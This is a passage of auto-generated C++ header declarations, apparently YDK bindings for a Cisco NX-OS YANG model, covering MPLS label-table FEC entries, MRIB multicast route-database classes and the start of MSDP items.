ydk::Entity { public: FecPolicyIPv6Items(); ~FecPolicyIPv6Items(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf fectype; //type: string ydk::YLeaf state; //type: string ydk::YLeaf tableid; //type: string ydk::YLeaf prefix; //type: string ydk::YLeaf masklength; //type: uint8 }; // System::LabeltableItems::LblItems::LabelsList::FecPolicyIPv6Items class System::LabeltableItems::LblItems::LabelsList::FecNoneItems : public ydk::Entity { public: FecNoneItems(); ~FecNoneItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf label; //type: uint32 ydk::YLeaf fectype; //type: string ydk::YLeaf state; //type: string }; // System::LabeltableItems::LblItems::LabelsList::FecNoneItems class System::LabeltableItems::LblItems::LabelsList::FecSRTEItems : public ydk::Entity { public: FecSRTEItems(); ~FecSRTEItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf id; //type: uint32 ydk::YLeaf fectype; //type: string ydk::YLeaf state; //type: string }; // System::LabeltableItems::LblItems::LabelsList::FecSRTEItems class System::LabeltableItems::LblItems::LabelsList::FecPerCEItems : public ydk::Entity { public: FecPerCEItems(); ~FecPerCEItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf nexthopset; //type: uint32 ydk::YLeaf addressfamily; //type: string ydk::YLeaf fectype; //type: string ydk::YLeaf state; //type: string ydk::YLeaf tableid; //type: string }; // System::LabeltableItems::LblItems::LabelsList::FecPerCEItems class System::LabeltableItems::LblItems::LabelsList::FecReservedItems : public ydk::Entity { public: FecReservedItems(); ~FecReservedItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf fectype; //type: string ydk::YLeaf state; //type: string ydk::YLeaf tableid; //type: string }; // System::LabeltableItems::LblItems::LabelsList::FecReservedItems class System::LabeltableItems::LblItems::LabelsList::FecDeaggItems : public ydk::Entity { public: FecDeaggItems(); ~FecDeaggItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf fectype; //type: string ydk::YLeaf state; //type: string ydk::YLeaf tableid; //type: string }; // System::LabeltableItems::LblItems::LabelsList::FecDeaggItems class System::LabeltableItems::LblItems::LabelsList::FecAdjSIDItems : public ydk::Entity { public: FecAdjSIDItems(); ~FecAdjSIDItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf ifindex; //type: uint32 ydk::YLeaf appid; //type: uint32 ydk::YLeaf nexthop; //type: string ydk::YLeaf fectype; //type: string ydk::YLeaf state; //type: string ydk::YLeaf tableid; //type: string }; // System::LabeltableItems::LblItems::LabelsList::FecAdjSIDItems class System::LabeltableItems::LblItems::LabelsList::NhlfeItems : public ydk::Entity { public: NhlfeItems(); ~NhlfeItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class NhlfeList; //type: System::LabeltableItems::LblItems::LabelsList::NhlfeItems::NhlfeList ydk::YList nhlfe_list; }; // System::LabeltableItems::LblItems::LabelsList::NhlfeItems class System::LabeltableItems::LblItems::LabelsList::NhlfeItems::NhlfeList : public ydk::Entity { public: NhlfeList(); ~NhlfeList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf idx; //type: uint32 ydk::YLeaf ip; //type: string ydk::YLeaf outlabel; //type: string ydk::YLeaf interface; //type: string ydk::YLeaf outlabelbytestats; //type: uint64 ydk::YLeaf outlabelpacketstats; //type: uint64 ydk::YLeaf weight; //type: uint32 }; // System::LabeltableItems::LblItems::LabelsList::NhlfeItems::NhlfeList class System::MribItems : public ydk::Entity { public: MribItems(); ~MribItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; class InstItems; //type: System::MribItems::InstItems std::shared_ptr inst_items; }; // System::MribItems class System::MribItems::InstItems : public ydk::Entity { public: InstItems(); ~InstItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; class DomItems; //type: System::MribItems::InstItems::DomItems class LoglevelItems; //type: System::MribItems::InstItems::LoglevelItems class RouteDbItems; //type: System::MribItems::InstItems::RouteDbItems std::shared_ptr dom_items; std::shared_ptr loglevel_items; std::shared_ptr routedb_items; }; // System::MribItems::InstItems class System::MribItems::InstItems::DomItems : public ydk::Entity { public: DomItems(); ~DomItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; class DomList; //type: System::MribItems::InstItems::DomItems::DomList ydk::YList dom_list; }; // System::MribItems::InstItems::DomItems class System::MribItems::InstItems::DomItems::DomList : public ydk::Entity { public: DomList(); ~DomList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf name; //type: string ydk::YLeaf adminst; //type: NwAdminSt___ ydk::YLeaf ctrl; //type: string ydk::YLeaf mtu; //type: uint32 ydk::YLeaf autoenable; //type: boolean ydk::YLeaf lognbhchng; //type: boolean ydk::YLeaf flushroutes; //type: boolean ydk::YLeaf bfd; //type: boolean ydk::YLeaf jpdelay; //type: uint32 ydk::YLeaf regratelmt; //type: uint32 ydk::YLeaf rfcstrict; //type: boolean class ConfigItems; //type: System::MribItems::InstItems::DomItems::DomList::ConfigItems class EventHistItems; //type: System::MribItems::InstItems::DomItems::DomList::EventHistItems class RpfselectItems; //type: System::MribItems::InstItems::DomItems::DomList::RpfselectItems class TraceItems; //type: System::MribItems::InstItems::DomItems::DomList::TraceItems std::shared_ptr config_items; std::shared_ptr eventhist_items; std::shared_ptr rpfselect_items; std::shared_ptr trace_items; }; // System::MribItems::InstItems::DomItems::DomList class System::MribItems::InstItems::DomItems::DomList::ConfigItems : public ydk::Entity { public: ConfigItems(); ~ConfigItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf holdenable; //type: MribHoldAdminSt ydk::YLeaf holddown; //type: uint16 ydk::YLeaf modeenable; //type: MribModeAdminSt ydk::YLeaf mode; //type: MribMultipathMode ydk::YLeaf moderesilient; //type: boolean ydk::YLeaf mfdmtype; //type: MribMfdmType ydk::YLeaf mfdmsize; //type: uint32 }; // System::MribItems::InstItems::DomItems::DomList::ConfigItems class System::MribItems::InstItems::DomItems::DomList::EventHistItems : public ydk::Entity { public: EventHistItems(); ~EventHistItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class EventHistoryList; //type: System::MribItems::InstItems::DomItems::DomList::EventHistItems::EventHistoryList ydk::YList eventhistory_list; }; // System::MribItems::InstItems::DomItems::DomList::EventHistItems class System::MribItems::InstItems::DomItems::DomList::EventHistItems::EventHistoryList : public ydk::Entity { public: EventHistoryList(); ~EventHistoryList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf type; //type: MribEhType ydk::YLeaf size; //type: uint32 }; // System::MribItems::InstItems::DomItems::DomList::EventHistItems::EventHistoryList class System::MribItems::InstItems::DomItems::DomList::RpfselectItems : public ydk::Entity { public: RpfselectItems(); ~RpfselectItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class RpfSelectList; //type: System::MribItems::InstItems::DomItems::DomList::RpfselectItems::RpfSelectList ydk::YList rpfselect_list; }; // System::MribItems::InstItems::DomItems::DomList::RpfselectItems class System::MribItems::InstItems::DomItems::DomList::RpfselectItems::RpfSelectList : public ydk::Entity { public: RpfSelectList(); ~RpfSelectList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf vrfname; //type: string ydk::YLeaf srcpfx; //type: string }; // System::MribItems::InstItems::DomItems::DomList::RpfselectItems::RpfSelectList class System::MribItems::InstItems::DomItems::DomList::TraceItems : public ydk::Entity { public: TraceItems(); ~TraceItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf traceenable; //type: boolean ydk::YLeaf traceentrycnt; //type: uint32 ydk::YLeaf tracereccnt; //type: uint32 }; // System::MribItems::InstItems::DomItems::DomList::TraceItems class System::MribItems::InstItems::LoglevelItems : public ydk::Entity { public: LoglevelItems(); ~LoglevelItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf type; //type: MribLogType ydk::YLeaf level; //type: uint16 }; // System::MribItems::InstItems::LoglevelItems class System::MribItems::InstItems::RouteDbItems : public ydk::Entity { public: RouteDbItems(); ~RouteDbItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; class VrfItems; //type: System::MribItems::InstItems::RouteDbItems::VrfItems std::shared_ptr vrf_items; }; // System::MribItems::InstItems::RouteDbItems class System::MribItems::InstItems::RouteDbItems::VrfItems : public ydk::Entity { public: VrfItems(); ~VrfItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; class VrfList; //type: System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList ydk::YList vrf_list; }; // System::MribItems::InstItems::RouteDbItems::VrfItems class System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList : public ydk::Entity { public: VrfList(); ~VrfList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf name; //type: string ydk::YLeaf totalnumroutes; //type: uint32 ydk::YLeaf stargroute; //type: uint32 ydk::YLeaf sgroute; //type: uint32 ydk::YLeaf stargprfx; //type: uint32 class GroupItems; //type: System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems std::shared_ptr group_items; }; // System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList class System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems : public ydk::Entity { public: GroupItems(); ~GroupItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class GroupList; //type: System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList ydk::YList group_list; }; // System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems class System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList : public ydk::Entity { public: GroupList(); ~GroupList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf grpaddr; //type: string ydk::YLeaf grpmasklen; //type: uint32 ydk::YLeaf bidir; //type: boolean class SourceItems; //type: System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems std::shared_ptr source_items; }; // System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList class System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems : public ydk::Entity { public: SourceItems(); ~SourceItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class SourceList; //type: System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList ydk::YList source_list; }; // System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems class System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList : public ydk::Entity { public: SourceList(); ~SourceList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf srcaddr; //type: string ydk::YLeaf pending; //type: boolean ydk::YLeaf uptime; //type: one of uint64, string ydk::YLeaf oifcount; //type: uint32 ydk::YLeaf statspkts; //type: uint32 ydk::YLeaf statsbytes; //type: uint32 ydk::YLeaf statsratebuf; //type: string ydk::YLeaf lispsrcrloc; //type: string ydk::YLeaf routeiif; //type: string ydk::YLeaf rpfnbr; //type: string ydk::YLeaf internal; //type: boolean ydk::YLeaf rpfnbruptime; //type: one of uint64, string ydk::YLeaf fabricoif; //type: boolean ydk::YLeaf fabricloser; //type: boolean ydk::YLeaf numvpcsvioifs; //type: uint32 ydk::YLeaf routemdtiod; //type: boolean ydk::YLeaf mdtencapindex; //type: uint32 class MpibItems; //type: System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::MpibItems class OifItems; //type: System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems std::shared_ptr mpib_items; std::shared_ptr oif_items; }; // System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList class System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::MpibItems : public ydk::Entity { public: MpibItems(); ~MpibItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class MpibList; //type: System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::MpibItems::MpibList ydk::YList mpib_list; }; // System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::MpibItems class System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::MpibItems::MpibList : public ydk::Entity { public: MpibList(); ~MpibList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf mpibname; //type: string ydk::YLeaf oifcount; //type: uint32 ydk::YLeaf staleroute; //type: boolean }; // System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::MpibItems::MpibList class System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems : public ydk::Entity { public: OifItems(); ~OifItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class OifList; //type: System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList ydk::YList oif_list; }; // System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems class System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList : public ydk::Entity { public: OifList(); ~OifList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf oifname; //type: string ydk::YLeaf oifuptime; //type: one of uint64, string ydk::YLeaf oifrpf; //type: boolean ydk::YLeaf oiflispencapentries; //type: uint32 class LispEncapItems; //type: System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::LispEncapItems class OifMpibItems; //type: System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::OifMpibItems std::shared_ptr lispencap_items; std::shared_ptr oifmpib_items; }; // System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList class System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::LispEncapItems : public ydk::Entity { public: LispEncapItems(); ~LispEncapItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class LispEncapList; //type: System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::LispEncapItems::LispEncapList ydk::YList lispencap_list; }; // System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::LispEncapItems class System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::LispEncapItems::LispEncapList : public ydk::Entity { public: LispEncapList(); ~LispEncapList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf index_; //type: uint32 ydk::YLeaf srcrloc; //type: string ydk::YLeaf dstrloc; //type: string }; // System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::LispEncapItems::LispEncapList class System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::OifMpibItems : public ydk::Entity { public: OifMpibItems(); ~OifMpibItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class OifMpibList; //type: System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::OifMpibItems::OifMpibList ydk::YList oifmpib_list; }; // System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::OifMpibItems class System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::OifMpibItems::OifMpibList : public ydk::Entity { public: OifMpibList(); ~OifMpibList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf oifmpibname; //type: string ydk::YLeaf staleoif; //type: boolean ydk::YLeaf vpcsvi; //type: boolean }; // System::MribItems::InstItems::RouteDbItems::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::OifMpibItems::OifMpibList class System::MsdpItems : public ydk::Entity { public: MsdpItems(); ~MsdpItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; std::string get_absolute_path() const override; ydk::YLeaf name; //type: string ydk::YLeaf adminst; //type: NwAdminSt___ ydk::YLeaf operst; //type: NwEntOperSt class InstItems; //type: System::MsdpItems::InstItems std::shared_ptr inst_items; }; // System::MsdpItems class System::MsdpItems::InstItems : public ydk::Entity { public: InstItems(); ~InstItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string 